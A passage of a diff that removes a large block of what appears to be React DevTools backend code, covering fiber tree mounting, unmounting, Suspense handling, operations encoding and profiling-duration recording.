-      // The Profiler stores metadata for each commit and reconstructs the app tree per commit using:
-      // (1) an initial tree snapshot and
-      // (2) the operations array for each commit
-      // Because of this, it's important that the operations and metadata arrays align,
-      // So it's important not to omit even empty operations while profiling is active.
-      return;
-    }
-
-    const numUnmountIDs =
-      pendingRealUnmountedIDs.length +
-      pendingSimulatedUnmountedIDs.length +
-      (pendingUnmountedRootID === null ? 0 : 1);
-
-    const operations = new Array<number>(
-      // Identify which renderer this update is coming from.
-      2 + // [rendererID, rootFiberID]
-        // How big is the string table?
-        1 + // [stringTableLength]
-        // Then goes the actual string table.
-        pendingStringTableLength +
-        // All unmounts are batched in a single message.
-        // [TREE_OPERATION_REMOVE, removedIDLength, ...ids]
-        (numUnmountIDs > 0 ? 2 + numUnmountIDs : 0) +
-        // Regular operations
-        pendingOperations.length,
-    );
-
-    // Identify which renderer this update is coming from.
-    // This enables roots to be mapped to renderers,
-    // Which in turn enables fiber props, states, and hooks to be inspected.
-    let i = 0;
-    operations[i++] = rendererID;
-    operations[i++] = currentRootID;
-
-    // Now fill in the string table.
-    // [stringTableLength, str1Length, ...str1, str2Length, ...str2, ...]
-    operations[i++] = pendingStringTableLength;
-    pendingStringTable.forEach((entry, stringKey) => {
-      const encodedString = entry.encodedString;
-
-      // Don't use the string length.
-      // It won't work for multibyte characters (like emoji).
-      const length = encodedString.length;
-
-      operations[i++] = length;
-      for (let j = 0; j < length; j++) {
-        operations[i + j] = encodedString[j];
-      }
-
-      i += length;
-    });
-
-    if (numUnmountIDs > 0) {
-      // All unmounts except roots are batched in a single message.
-      operations[i++] = TREE_OPERATION_REMOVE;
-      // The first number is how many unmounted IDs we're gonna send.
-      operations[i++] = numUnmountIDs;
-      // Fill in the real unmounts in the reverse order.
-      // They were inserted parents-first by React, but we want children-first.
-      // So we traverse our array backwards.
-      for (let j = pendingRealUnmountedIDs.length - 1; j >= 0; j--) {
-        operations[i++] = pendingRealUnmountedIDs[j];
-      }
-      // Fill in the simulated unmounts (hidden Suspense subtrees) in their order.
-      // (We want children to go before parents.)
-      // They go *after* the real unmounts because we know for sure they won't be
-      // children of already pushed "real" IDs. If they were, we wouldn't be able
-      // to discover them during the traversal, as they would have been deleted.
-      for (let j = 0; j < pendingSimulatedUnmountedIDs.length; j++) {
-        operations[i + j] = pendingSimulatedUnmountedIDs[j];
-      }
-      i += pendingSimulatedUnmountedIDs.length;
-      // The root ID should always be unmounted last.
-      if (pendingUnmountedRootID !== null) {
-        operations[i] = pendingUnmountedRootID;
-        i++;
-      }
-    }
-    // Fill in the rest of the operations.
-    for (let j = 0; j < pendingOperations.length; j++) {
-      operations[i + j] = pendingOperations[j];
-    }
-    i += pendingOperations.length;
-
-    // Let the frontend know about tree operations.
-    flushOrQueueOperations(operations);
-
-    // Reset all of the pending state now that we've told the frontend about it.
-    pendingOperations.length = 0;
-    pendingRealUnmountedIDs.length = 0;
-    pendingSimulatedUnmountedIDs.length = 0;
-    pendingUnmountedRootID = null;
-    pendingStringTable.clear();
-    pendingStringTableLength = 0;
-  }
-
-  function getStringID(string: string | null): number {
-    if (string === null) {
-      return 0;
-    }
-    const existingEntry = pendingStringTable.get(string);
-    if (existingEntry !== undefined) {
-      return existingEntry.id;
-    }
-
-    const id = pendingStringTable.size + 1;
-    const encodedString = utfEncodeString(string);
-
-    pendingStringTable.set(string, {
-      encodedString,
-      id,
-    });
-
-    // The string table total length needs to account both for the string length,
-    // and for the array item that contains the length itself.
-    //
-    // Don't use string length for this table.
-    // It won't work for multibyte characters (like emoji).
-    pendingStringTableLength += encodedString.length + 1;
-
-    return id;
-  }
-
-  function recordMount(fiber: Fiber, parentFiber: Fiber | null) {
-    const isRoot = fiber.tag === HostRoot;
-    const id = getOrGenerateFiberID(fiber);
-
-    if (__DEBUG__) {
-      debug('recordMount()', fiber, parentFiber);
-    }
-
-    const hasOwnerMetadata = fiber.hasOwnProperty('_debugOwner');
-    const isProfilingSupported = fiber.hasOwnProperty('treeBaseDuration');
-
-    // Adding a new field here would require a bridge protocol version bump (a backwads breaking change).
-    // Instead let's re-purpose a pre-existing field to carry more information.
-    let profilingFlags = 0;
-    if (isProfilingSupported) {
-      profilingFlags = PROFILING_FLAG_BASIC_SUPPORT;
-      if (typeof injectProfilingHooks === 'function') {
-        profilingFlags |= PROFILING_FLAG_TIMELINE_SUPPORT;
-      }
-    }
-
-    if (isRoot) {
-      pushOperation(TREE_OPERATION_ADD);
-      pushOperation(id);
-      pushOperation(ElementTypeRoot);
-      pushOperation((fiber.mode & StrictModeBits) !== 0 ? 1 : 0);
-      pushOperation(profilingFlags);
-      pushOperation(StrictModeBits !== 0 ? 1 : 0);
-      pushOperation(hasOwnerMetadata ? 1 : 0);
-
-      if (isProfiling) {
-        if (displayNamesByRootID !== null) {
-          displayNamesByRootID.set(id, getDisplayNameForRoot(fiber));
-        }
-      }
-    } else {
-      const {key} = fiber;
-      const displayName = getDisplayNameForFiber(fiber);
-      const elementType = getElementTypeForFiber(fiber);
-      const debugOwner = fiber._debugOwner;
-
-      // Ideally we should call getFiberIDThrows() for _debugOwner,
-      // since owners are almost always higher in the tree (and so have already been processed),
-      // but in some (rare) instances reported in open source, a descendant mounts before an owner.
-      // Since this is a DEV only field it's probably okay to also just lazily generate and ID here if needed.
-      // See https://github.com/facebook/react/issues/21445
-      let ownerID: number;
-      if (debugOwner != null) {
-        if (typeof debugOwner.tag === 'number') {
-          ownerID = getOrGenerateFiberID((debugOwner: any));
-        } else {
-          // TODO: Track Server Component Owners.
-          ownerID = 0;
-        }
-      } else {
-        ownerID = 0;
-      }
-      const parentID = parentFiber ? getFiberIDThrows(parentFiber) : 0;
-
-      const displayNameStringID = getStringID(displayName);
-
-      // This check is a guard to handle a React element that has been modified
-      // in such a way as to bypass the default stringification of the "key" property.
-      const keyString = key === null ? null : String(key);
-      const keyStringID = getStringID(keyString);
-
-      pushOperation(TREE_OPERATION_ADD);
-      pushOperation(id);
-      pushOperation(elementType);
-      pushOperation(parentID);
-      pushOperation(ownerID);
-      pushOperation(displayNameStringID);
-      pushOperation(keyStringID);
-
-      // If this subtree has a new mode, let the frontend know.
-      if (
-        (fiber.mode & StrictModeBits) !== 0 &&
-        (((parentFiber: any): Fiber).mode & StrictModeBits) === 0
-      ) {
-        pushOperation(TREE_OPERATION_SET_SUBTREE_MODE);
-        pushOperation(id);
-        pushOperation(StrictMode);
-      }
-    }
-
-    if (isProfilingSupported) {
-      idToRootMap.set(id, currentRootID);
-
-      recordProfilingDurations(fiber);
-    }
-  }
-
-  function recordUnmount(fiber: Fiber, isSimulated: boolean) {
-    if (__DEBUG__) {
-      debug(
-        'recordUnmount()',
-        fiber,
-        null,
-        isSimulated ? 'unmount is simulated' : '',
-      );
-    }
-
-    if (trackedPathMatchFiber !== null) {
-      // We're in the process of trying to restore previous selection.
-      // If this fiber matched but is being unmounted, there's no use trying.
-      // Reset the state so we don't keep holding onto it.
-      if (
-        fiber === trackedPathMatchFiber ||
-        fiber === trackedPathMatchFiber.alternate
-      ) {
-        setTrackedPath(null);
-      }
-    }
-
-    const unsafeID = getFiberIDUnsafe(fiber);
-    if (unsafeID === null) {
-      // If we've never seen this Fiber, it might be inside of a legacy render Suspense fragment (so the store is not even aware of it).
-      // In that case we can just ignore it or it will cause errors later on.
-      // One example of this is a Lazy component that never resolves before being unmounted.
-      //
-      // This also might indicate a Fast Refresh force-remount scenario.
-      //
-      // TODO: This is fragile and can obscure actual bugs.
-      return;
-    }
-
-    // Flow refinement.
-    const id = ((unsafeID: any): number);
-    const isRoot = fiber.tag === HostRoot;
-    if (isRoot) {
-      // Roots must be removed only after all children (pending and simulated) have been removed.
-      // So we track it separately.
-      pendingUnmountedRootID = id;
-    } else if (!shouldFilterFiber(fiber)) {
-      // To maintain child-first ordering,
-      // we'll push it into one of these queues,
-      // and later arrange them in the correct order.
-      if (isSimulated) {
-        pendingSimulatedUnmountedIDs.push(id);
-      } else {
-        pendingRealUnmountedIDs.push(id);
-      }
-    }
-
-    if (!fiber._debugNeedsRemount) {
-      untrackFiberID(fiber);
-
-      const isProfilingSupported = fiber.hasOwnProperty('treeBaseDuration');
-      if (isProfilingSupported) {
-        idToRootMap.delete(id);
-        idToTreeBaseDurationMap.delete(id);
-      }
-    }
-  }
-
-  function mountFiberRecursively(
-    firstChild: Fiber,
-    parentFiber: Fiber | null,
-    traverseSiblings: boolean,
-    traceNearestHostComponentUpdate: boolean,
-  ) {
-    // Iterate over siblings rather than recursing.
-    // This reduces the chance of stack overflow for wide trees (e.g. lists with many items).
-    let fiber: Fiber | null = firstChild;
-    while (fiber !== null) {
-      // Generate an ID even for filtered Fibers, in case it's needed later (e.g. for Profiling).
-      getOrGenerateFiberID(fiber);
-
-      if (__DEBUG__) {
-        debug('mountFiberRecursively()', fiber, parentFiber);
-      }
-
-      // If we have the tree selection from previous reload, try to match this Fiber.
-      // Also remember whether to do the same for siblings.
-      const mightSiblingsBeOnTrackedPath =
-        updateTrackedPathStateBeforeMount(fiber);
-
-      const shouldIncludeInTree = !shouldFilterFiber(fiber);
-      if (shouldIncludeInTree) {
-        recordMount(fiber, parentFiber);
-      }
-
-      if (traceUpdatesEnabled) {
-        if (traceNearestHostComponentUpdate) {
-          const elementType = getElementTypeForFiber(fiber);
-          // If an ancestor updated, we should mark the nearest host nodes for highlighting.
-          if (elementType === ElementTypeHostComponent) {
-            traceUpdatesForNodes.add(fiber.stateNode);
-            traceNearestHostComponentUpdate = false;
-          }
-        }
-
-        // We intentionally do not re-enable the traceNearestHostComponentUpdate flag in this branch,
-        // because we don't want to highlight every host node inside of a newly mounted subtree.
-      }
-
-      const isSuspense = fiber.tag === ReactTypeOfWork.SuspenseComponent;
-      if (isSuspense) {
-        const isTimedOut = fiber.memoizedState !== null;
-        if (isTimedOut) {
-          // Special case: if Suspense mounts in a timed-out state,
-          // get the fallback child from the inner fragment and mount
-          // it as if it was our own child. Updates handle this too.
-          const primaryChildFragment = fiber.child;
-          const fallbackChildFragment = primaryChildFragment
-            ? primaryChildFragment.sibling
-            : null;
-          const fallbackChild = fallbackChildFragment
-            ? fallbackChildFragment.child
-            : null;
-          if (fallbackChild !== null) {
-            mountFiberRecursively(
-              fallbackChild,
-              shouldIncludeInTree ? fiber : parentFiber,
-              true,
-              traceNearestHostComponentUpdate,
-            );
-          }
-        } else {
-          let primaryChild: Fiber | null = null;
-          const areSuspenseChildrenConditionallyWrapped =
-            OffscreenComponent === -1;
-          if (areSuspenseChildrenConditionallyWrapped) {
-            primaryChild = fiber.child;
-          } else if (fiber.child !== null) {
-            primaryChild = fiber.child.child;
-          }
-          if (primaryChild !== null) {
-            mountFiberRecursively(
-              primaryChild,
-              shouldIncludeInTree ? fiber : parentFiber,
-              true,
-              traceNearestHostComponentUpdate,
-            );
-          }
-        }
-      } else {
-        if (fiber.child !== null) {
-          mountFiberRecursively(
-            fiber.child,
-            shouldIncludeInTree ? fiber : parentFiber,
-            true,
-            traceNearestHostComponentUpdate,
-          );
-        }
-      }
-
-      // We're exiting this Fiber now, and entering its siblings.
-      // If we have selection to restore, we might need to re-activate tracking.
-      updateTrackedPathStateAfterMount(mightSiblingsBeOnTrackedPath);
-
-      fiber = traverseSiblings ? fiber.sibling : null;
-    }
-  }
-
-  // We use this to simulate unmounting for Suspense trees
-  // when we switch from primary to fallback.
-  function unmountFiberChildrenRecursively(fiber: Fiber) {
-    if (__DEBUG__) {
-      debug('unmountFiberChildrenRecursively()', fiber);
-    }
-
-    // We might meet a nested Suspense on our way.
-    const isTimedOutSuspense =
-      fiber.tag === ReactTypeOfWork.SuspenseComponent &&
-      fiber.memoizedState !== null;
-
-    let child = fiber.child;
-    if (isTimedOutSuspense) {
-      // If it's showing fallback tree, let's traverse it instead.
-      const primaryChildFragment = fiber.child;
-      const fallbackChildFragment = primaryChildFragment
-        ? primaryChildFragment.sibling
-        : null;
-      // Skip over to the real Fiber child.
-      child = fallbackChildFragment ? fallbackChildFragment.child : null;
-    }
-
-    while (child !== null) {
-      // Record simulated unmounts children-first.
-      // We skip nodes without return because those are real unmounts.
-      if (child.return !== null) {
-        unmountFiberChildrenRecursively(child);
-        recordUnmount(child, true);
-      }
-      child = child.sibling;
-    }
-  }
-
-  function recordProfilingDurations(fiber: Fiber) {
-    const id = getFiberIDThrows(fiber);
-    const {actualDuration, treeBaseDuration} = fiber;
-
-    idToTreeBaseDurationMap.set(id, treeBaseDuration || 0);
-
-    if (isProfiling) {
-      const {alternate} = fiber;
-
-      // It's important to update treeBaseDuration even if the current Fiber did not render,
-      // because it's possible that one of its descendants did.
-      if (
-        alternate == null ||
-        treeBaseDuration !== alternate.treeBaseDuration
-      ) {
-        // Tree base duration updates are included in the operations typed array.
-        // So we have to convert them from milliseconds to microseconds so we can send them as ints.
-        const convertedTreeBaseDuration = Math.floor(
-          (treeBaseDuration || 0) * 1000,
-        );
-        pushOperation(TREE_OPERATION_UPDATE_TREE_BASE_DURATION);
-        pushOperation(id);
-        pushOperation(convertedTreeBaseDuration);
-      }
-
-      if (alternate == null || didFiberRender(alternate, fiber)) {
-        if (actualDuration != null) {
-          // The actual duration reported by React includes time spent working on children.
-          // This is useful information, but it's also useful to be able to exclude child durations.
-          // The frontend can't compute this, since the immediate children may have been filtered out.
-          // So we need to do this on the backend.
-          // Note that this calculated self duration is not the same thing as the base duration.
-          // The two are calculated differently (tree duration does not accumulate).
-          let selfDuration = actualDuration;
-          let child = fiber.child;
-          while (child !== null) {
-            selfDuration -= child.actualDuration || 0;
-            child = child.sibling;
-          }
-
-          // If profiling is active, store durations for elements that were rendered during the commit.
-          // Note that we should do this for any fiber we performed work on, regardless of its actualDuration value.
-          // In some cases actualDuration might be 0 for fibers we worked on (particularly if we're using Date.now)
-          // In other cases (e.g. Memo) actualDuration might be greater than 0 even if we "bailed out".
-          const metadata =
-            ((currentCommitProfilingMetadata: any): CommitProfilingData);
-          metadata.durations.push(id, actualDuration, selfDuration);
-          metadata.maxActualDuration = Math.max(
-            metadata.maxActualDuration,
-            actualDuration,
-          );
-
-          if (recordChangeDescriptions) {
-            const changeDescription = getChangeDescription(alternate, fiber);
-            if (changeDescription !== null) {
-              if (metadata.changeDescriptions !== null) {
-                metadata.changeDescriptions.set(id, changeDescription);
-              }
-            }
-
-            updateContextsForFiber(fiber);
-          }
-        }
-      }
-    }
-  }
-
-  function recordResetChildren(fiber: Fiber, childSet: Fiber) {
-    if (__DEBUG__) {
-      debug('recordResetChildren()', childSet, fiber);
-    }
-    // The frontend only really cares about the displayName, key, and children.
-    // The first two don't really change, so we are only concerned with the order of children here.
-    // This is trickier than a simple comparison though, since certain types of fibers are filtered.
-    const nextChildren: Array<number> = [];
-
-    // This is a naive implementation that shallowly recourses children.
-    // We might want to revisit this if it proves to be too inefficient.
-    let child: null | Fiber = childSet;
-    while (child !== null) {
-      findReorderedChildrenRecursively(child, nextChildren);
-      child = child.sibling;
-    }
-
-    const numChildren = nextChildren.length;
-    if (numChildren < 2) {
-      // No need to reorder.
-      return;
-    }
-    pushOperation(TREE_OPERATION_REORDER_CHILDREN);
-    pushOperation(getFiberIDThrows(fiber));
-    pushOperation(numChildren);
-    for (let i = 0; i < nextChildren.length; i++) {
-      pushOperation(nextChildren[i]);
-    }
-  }
-
-  function findReorderedChildrenRecursively(
-    fiber: Fiber,
-    nextChildren: Array<number>,
-  ) {
-    if (!shouldFilterFiber(fiber)) {
-      nextChildren.push(getFiberIDThrows(fiber));
-    } else {
-      let child = fiber.child;
-      const isTimedOutSuspense =
-        fiber.tag === SuspenseComponent && fiber.memoizedState !== null;
-      if (isTimedOutSuspense) {
-        // Special case: if Suspense mounts in a timed-out state,
-        // get the fallback child from the inner fragment,
-        // and skip over the primary child.
-        const primaryChildFragment = fiber.child;
-        const fallbackChildFragment = primaryChildFragment
-          ? primaryChildFragment.sibling
-          : null;
-        const fallbackChild = fallbackChildFragment
-          ? fallbackChildFragment.child
-          : null;
-        if (fallbackChild !== null) {
-          child = fallbackChild;
-        }
-      }
-      while (child !== null) {
-        findReorderedChildrenRecursively(child, nextChildren);
-        child = child.sibling;
-      }
-    }
-  }
-
-  // Returns whether closest unfiltered fiber parent needs to reset its child list.
-  function updateFiberRecursively(
-    nextFiber: Fiber,
-    prevFiber: Fiber,
-    parentFiber: Fiber | null,
-    traceNearestHostComponentUpdate: boolean,
-  ): boolean {
-    const id = getOrGenerateFiberID(nextFiber);
-
-    if (__DEBUG__) {
-      debug('updateFiberRecursively()', nextFiber, parentFiber);
-    }
-
-    if (traceUpdatesEnabled) {
-      const elementType = getElementTypeForFiber(nextFiber);
-      if (traceNearestHostComponentUpdate) {
-        // If an ancestor updated, we should mark the nearest host nodes for highlighting.
-        if (elementType === ElementTypeHostComponent) {
-          traceUpdatesForNodes.add(nextFiber.stateNode);
-          traceNearestHostComponentUpdate = false;
-        }
-      } else {
-        if (
-          elementType === ElementTypeFunction ||
-          elementType === ElementTypeClass ||
-          elementType === ElementTypeContext ||
-          elementType === ElementTypeMemo ||
-          elementType === ElementTypeForwardRef
-        ) {
-          // Otherwise if this is a traced ancestor, flag for the nearest host descendant(s).
-          traceNearestHostComponentUpdate = didFiberRender(
-            prevFiber,
-            nextFiber,
-          );
-        }
-      }
-    }
-
-    if (
-      mostRecentlyInspectedElement !== null &&
-      mostRecentlyInspectedElement.id === id &&
-      didFiberRender(prevFiber, nextFiber)
-    ) {
-      // If this Fiber has updated, clear cached inspected data.
-      // If it is inspected again, it may need to be re-run to obtain updated hooks values.
-      hasElementUpdatedSinceLastInspected = true;
-    }
-
-    const shouldIncludeInTree = !shouldFilterFiber(nextFiber);
-    const isSuspense = nextFiber.tag === SuspenseComponent;
-    let shouldResetChildren = false;
-    // The behavior of timed-out Suspense trees is unique.
-    // Rather than unmount the timed out content (and possibly lose important state),
-    // React re-parents this content within a hidden Fragment while the fallback is showing.
-    // This behavior doesn't need to be observable in the DevTools though.
-    // It might even result in a bad user experience for e.g. node selection in the Elements panel.
-    // The easiest fix is to strip out the intermediate Fragment fibers,
-    // so the Elements panel and Profiler don't need to special case them.
-    // Suspense components only have a non-null memoizedState if they're timed-out.
-    const prevDidTimeout = isSuspense && prevFiber.memoizedState !== null;
-    const nextDidTimeOut = isSuspense && nextFiber.memoizedState !== null;
-    // The logic below is inspired by the code paths in updateSuspenseComponent()
-    // inside ReactFiberBeginWork in the React source code.
-    if (prevDidTimeout && nextDidTimeOut) {
-      // Fallback -> Fallback:
-      // 1. Reconcile fallback set.
-      const nextFiberChild = nextFiber.child;
-      const nextFallbackChildSet = nextFiberChild
-        ? nextFiberChild.sibling
-        : null;
-      // Note: We can't use nextFiber.child.sibling.alternate
-      // because the set is special and alternate may not exist.
-      const prevFiberChild = prevFiber.child;
-      const prevFallbackChildSet = prevFiberChild
-        ? prevFiberChild.sibling
-        : null;
-
-      if (prevFallbackChildSet == null && nextFallbackChildSet != null) {
-        mountFiberRecursively(
-          nextFallbackChildSet,
-          shouldIncludeInTree ? nextFiber : parentFiber,
-          true,
-          traceNearestHostComponentUpdate,
-        );
-
-        shouldResetChildren = true;
-      }
-
-      if (
-        nextFallbackChildSet != null &&
-        prevFallbackChildSet != null &&
-        updateFiberRecursively(
-          nextFallbackChildSet,
-          prevFallbackChildSet,
-          nextFiber,
-          traceNearestHostComponentUpdate,
-        )
-      ) {
-        shouldResetChildren = true;
-      }
-    } else if (prevDidTimeout && !nextDidTimeOut) {
-      // Fallback -> Primary:
-      // 1. Unmount fallback set
-      // Note: don't emulate fallback unmount because React actually did it.
-      // 2. Mount primary set
-      const nextPrimaryChildSet = nextFiber.child;
-      if (nextPrimaryChildSet !== null) {
-        mountFiberRecursively(
-          nextPrimaryChildSet,
-          shouldIncludeInTree ? nextFiber : parentFiber,
-          true,
-          traceNearestHostComponentUpdate,
-        );
-      }
-      shouldResetChildren = true;
-    } else if (!prevDidTimeout && nextDidTimeOut) {
-      // Primary -> Fallback:
-      // 1. Hide primary set
-      // This is not a real unmount, so it won't get reported by React.
-      // We need to manually walk the previous tree and record unmounts.
-      unmountFiberChildrenRecursively(prevFiber);
-      // 2. Mount fallback set
-      const nextFiberChild = nextFiber.child;
-      const nextFallbackChildSet = nextFiberChild
-        ? nextFiberChild.sibling
-        : null;
-      if (nextFallbackChildSet != null) {
-        mountFiberRecursively(
-          nextFallbackChildSet,
-          shouldIncludeInTree ? nextFiber : parentFiber,
-          true,
-          traceNearestHostComponentUpdate,
-        );
-        shouldResetChildren = true;
-      }
-    } else {
-      // Common case: Primary -> Primary.
-      // This is the same code path as for non-Suspense fibers.
-      if (nextFiber.child !== prevFiber.child) {
-        // If the first child is different, we need to traverse them.
-        // Each next child will be either a new child (mount) or an alternate (update).
-        let nextChild = nextFiber.child;
-        let prevChildAtSameIndex = prevFiber.child;
-        while (nextChild) {
-          // We already know children will be referentially different because
-          // they are either new mounts or alternates of previous children.
-          // Schedule updates and mounts depending on whether alternates exist.
-          // We don't track deletions here because they are reported separately.
-          if (nextChild.alternate) {
-            const prevChild = nextChild.alternate;
-            if (
-              updateFiberRecursively(
-                nextChild,
-                prevChild,
-                shouldIncludeInTree ? nextFiber : parentFiber,
-                traceNearestHostComponentUpdate,
-              )
-            ) {
-              // If a nested tree child order changed but it can't handle its own
-              // child order invalidation (e.g. because it's filtered out like host nodes),
-              // propagate the need to reset child order upwards to this Fiber.
-              shouldResetChildren = true;
-            }
-            // However we also keep track if the order of the children matches
-            // the previous order. They are always different referentially, but
-            // if the instances line up conceptually we'll want to know that.
-            if (prevChild !== prevChildAtSameIndex) {
-              shouldResetChildren = true;
-            }
-          } else {
-            mountFiberRecursively(
-              nextChild,
-              shouldIncludeInTree ? nextFiber : parentFiber,
-              false,
-              traceNearestHostComponentUpdate,
-            );
-            shouldResetChildren = true;
-          }
-          // Try the next child.
-          nextChild = nextChild.sibling;
-          // Advance the pointer in the previous list so that we can
-          // keep comparing if they line up.
-          if (!shouldResetChildren && prevChildAtSameIndex !== null) {
-            prevChildAtSameIndex = prevChildAtSameIndex.sibling;
-          }
-        }
-        // If we have no more children, but used to, they don't line up.
-        if (prevChildAtSameIndex !== null) {
-          shouldResetChildren = true;
-        }
-      } else {
-        if (traceUpdatesEnabled) {
-          // If we're tracing updates and we've bailed out before reaching a host node,
-          // we should fall back to recursively marking the nearest host descendants for highlight.
-          if (traceNearestHostComponentUpdate) {
-            const hostFibers = findAllCurrentHostFibers(
-              getFiberIDThrows(nextFiber),
-            );
-            hostFibers.forEach(hostFiber => {
-              traceUpdatesForNodes.add(hostFiber.stateNode);
-            });
-          }
-        }
-      }
-    }
-
-    if (shouldIncludeInTree) {
-      const isProfilingSupported = nextFiber.hasOwnProperty('treeBaseDuration');
-      if (isProfilingSupported) {
-        recordProfilingDurations(nextFiber);
-      }
-    }
-    if (shouldResetChildren) {
-      // We need to crawl the subtree for closest non-filtered Fibers
-      // so that we can display them in a flat children set.
-      if (shouldIncludeInTree) {
-        // Normally, search for children from the rendered child.
-        let nextChildSet = nextFiber.child;
-        if (nextDidTimeOut) {
-          // Special case: timed-out Suspense renders the fallback set.
-          const nextFiberChild = nextFiber.child;
-          nextChildSet = nextFiberChild ? nextFiberChild.sibling : null;
-        }
-        if (nextChildSet != null) {
-          recordResetChildren(nextFiber, nextChildSet);
-        }
-        // We've handled the child order change for this Fiber.
-        // Since it's included, there's no need to invalidate parent child order.
-        return false;
-      } else {
-        // Let the closest unfiltered parent Fiber reset its child order instead.
-        return true;
-      }
-    } else {
-      return false;
-    }
-  }
-
-  function cleanup() {
-    // We don't patch any methods so there is no cleanup.
-  }
-
-  function rootSupportsProfiling(root: any) {
-    if (root.memoizedInteractions != null) {
-      // v16 builds include this field for the scheduler/tracing API.
-      return true;
-    } else if (
-      root.current != null &&
-      root.current.hasOwnProperty('treeBaseDuration')
-    ) {
-      // The scheduler/tracing API was removed in v17 though
-      // so we need to check a non-root Fiber.
-      return true;
-    } else {
-      return false;
-    }
-  }
-
-  function flushInitialOperations() {
-    const localPendingOperationsQueue = pendingOperationsQueue;
-
-    pendingOperationsQueue = null;
-
-    if (
-      localPendingOperationsQueue !== null &&
-      localPendingOperationsQueue.length > 0
-    ) {
-      // We may have already queued up some operations before the frontend connected
-      // If so, let the frontend know about them.
-      localPendingOperationsQueue.forEach(operations => {
-        hook.emit('operations', operations);
-      });
-    } else {
-      // Before the traversals, remember to start tracking
-      // our path in case we have selection to restore.
-      if (trackedPath !== null) {
-        mightBeOnTrackedPath = true;
-      }
-      // If we have not been profiling, then we can just walk the tree and build up its current state as-is.
-      hook.getFiberRoots(rendererID).forEach(root => {
-        currentRootID = getOrGenerateFiberID(root.current);
-        setRootPseudoKey(currentRootID, root.current);
-
-        // Handle multi-renderer edge-case where only some v16 renderers support profiling.
-        if (isProfiling && rootSupportsProfiling(root)) {
-          // If profiling is active, store commit time and duration.
-          // The frontend may request this information after profiling has stopped.
-          currentCommitProfilingMetadata = {
-            changeDescriptions: recordChangeDescriptions ? new Map() : null,
-            durations: [],
-            commitTime: getCurrentTime() - profilingStartTime,
-            maxActualDuration: 0,
-            priorityLevel: null,
-            updaters: getUpdatersList(root),
-            effectDuration: null,
-            passiveEffectDuration: null,
-          };
-        }
-
-        mountFiberRecursively(root.current, null, false, false);
-        flushPendingEvents(root);
-        currentRootID = -1;
-      });
-    }
-  }
-
-  function getUpdatersList(root: any): Array<SerializedElement> | null {
-    return root.memoizedUpdaters != null
-      ? Array.from(root.memoizedUpdaters)
-          .filter(fiber => getFiberIDUnsafe(fiber) !== null)
-          .map(fiberToSerializedElement)
-      : null;
-  }
-
-  function handleCommitFiberUnmount(fiber: any) {
-    // If the untrackFiberSet already has the unmounted Fiber, this means we've already
-    // recordedUnmount, so we don't need to do it again. If we don't do this, we might
-    // end up double-deleting Fibers in some cases (like Legacy Suspense).
-    if (!untrackFibersSet.has(fiber)) {
-      // This is not recursive.
-      // We can't traverse fibers after unmounting so instead
-      // we rely on React telling us about each unmount.
-      recordUnmount(fiber, false);
-    }
-  }
-
-  function handlePostCommitFiberRoot(root: any) {
-    if (isProfiling && rootSupportsProfiling(root)) {
-      if (currentCommitProfilingMetadata !== null) {
-        const {effectDuration, passiveEffectDuration} =
-          getEffectDurations(root);
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        currentCommitProfilingMetadata.effectDuration = effectDuration;
-        // $FlowFixMe[incompatible-use] found when upgrading Flow
-        currentCommitProfilingMetadata.passiveEffectDuration =
-          passiveEffectDuration;
-      }
-    }
-  }
-
-  function handleCommitFiberRoot(root: any, priorityLevel: void | number) {
-    const current = root.current;
-    const alternate = current.alternate;
-
-    // Flush any pending Fibers that we are untracking before processing the new commit.
-    // If we don't do this, we might end up double-deleting Fibers in some cases (like Legacy Suspense).
-    untrackFibers();
-
-    currentRootID = getOrGenerateFiberID(current);
-
-    // Before the traversals, remember to start tracking
-    // our path in case we have selection to restore.
-    if (trackedPath !== null) {
-      mightBeOnTrackedPath = true;
-    }
-
-    if (traceUpdatesEnabled) {
-      traceUpdatesForNodes.clear();
-    }
-
-    // Handle multi-renderer edge-case where only some v16 renderers support profiling.
-    const isProfilingSupported = rootSupportsProfiling(root);
-
-    if (isProfiling && isProfilingSupported) {
-      // If profiling is active, store commit time and duration.
-      // The frontend may request this information after profiling has stopped.
-      currentCommitProfilingMetadata = {
-        changeDescriptions: recordChangeDescriptions ? new Map() : null,
-        durations: [],
-        commitTime: getCurrentTime() - profilingStartTime,
-        maxActualDuration: 0,
-        priorityLevel:
-          priorityLevel == null ? null : formatPriorityLevel(priorityLevel),
-
-        updaters: getUpdatersList(root),
-
-        // Initialize to null; if new enough React version is running,
-        // these values will be read during separate handlePostCommitFiberRoot() call.
-        effectDuration: null,
-        passiveEffectDuration: null,
-      };
-    }
-
-    if (alternate) {
-      // TODO: relying on this seems a bit fishy.
-      const wasMounted =
-        alternate.memoizedState != null &&
-        alternate.memoizedState.element != null &&
-        // A dehydrated root is not considered mounted
-        alternate.memoizedState.isDehydrated !== true;
-      const isMounted =
-        current.memoizedState != null &&
-        current.memoizedState.element != null &&
-        // A dehydrated root is not considered mounted
-        current.memoizedState.isDehydrated !== true;
-      if (!wasMounted && isMounted) {
-        // Mount a new root.
-        setRootPseudoKey(currentRootID, current);
-        mountFiberRecursively(current, null, false, false);
-      } else if (wasMounted && isMounted) {
-        // Update an existing root.
-        updateFiberRecursively(current, alternate, null, false);
-      } else if (wasMounted && !isMounted) {
-        // Unmount an existing root.
-        removeRootPseudoKey(currentRootID);
-        recordUnmount(current, false);
-      }
-    } else {
-      // Mount a new root.
-      setRootPseudoKey(currentRootID, current);
-      mountFiberRecursively(current, null, false, false);
-    }
-
-    if (isProfiling && isProfilingSupported) {
-      if (!shouldBailoutWithPendingOperations()) {
-        const commitProfilingMetadata =
-          ((rootToCommitProfilingMetadataMap: any): CommitProfilingMetadataMap).get(
-            currentRootID,
-          );
-
-        if (commitProfilingMetadata != null) {
-          commitProfilingMetadata.push(
-            ((currentCommitProfilingMetadata: any): CommitProfilingData),
-          );
-        } else {
-          ((rootToCommitProfilingMetadataMap: any): CommitProfilingMetadataMap).set(
-            currentRootID,
-            [((currentCommitProfilingMetadata: any): CommitProfilingData)],
-          );
-        }
-      }
-    }
-
-    // We're done here.
-    flushPendingEvents(root);
-
-    if (traceUpdatesEnabled) {
-      hook.emit('traceUpdates', traceUpdatesForNodes);
-    }
-
-    currentRootID = -1;
-  }
-
-  function findAllCurrentHostFibers(id: number): $ReadOnlyArray<Fiber> {
-    const fibers = [];
-    const fiber = findCurrentFiberUsingSlowPathById(id);
-    if (!fiber) {
-      return fibers;
-    }
-
-    // Next we'll drill down this component to find all HostComponent/Text.
-    let node: Fiber = fiber;
-    while (true) {
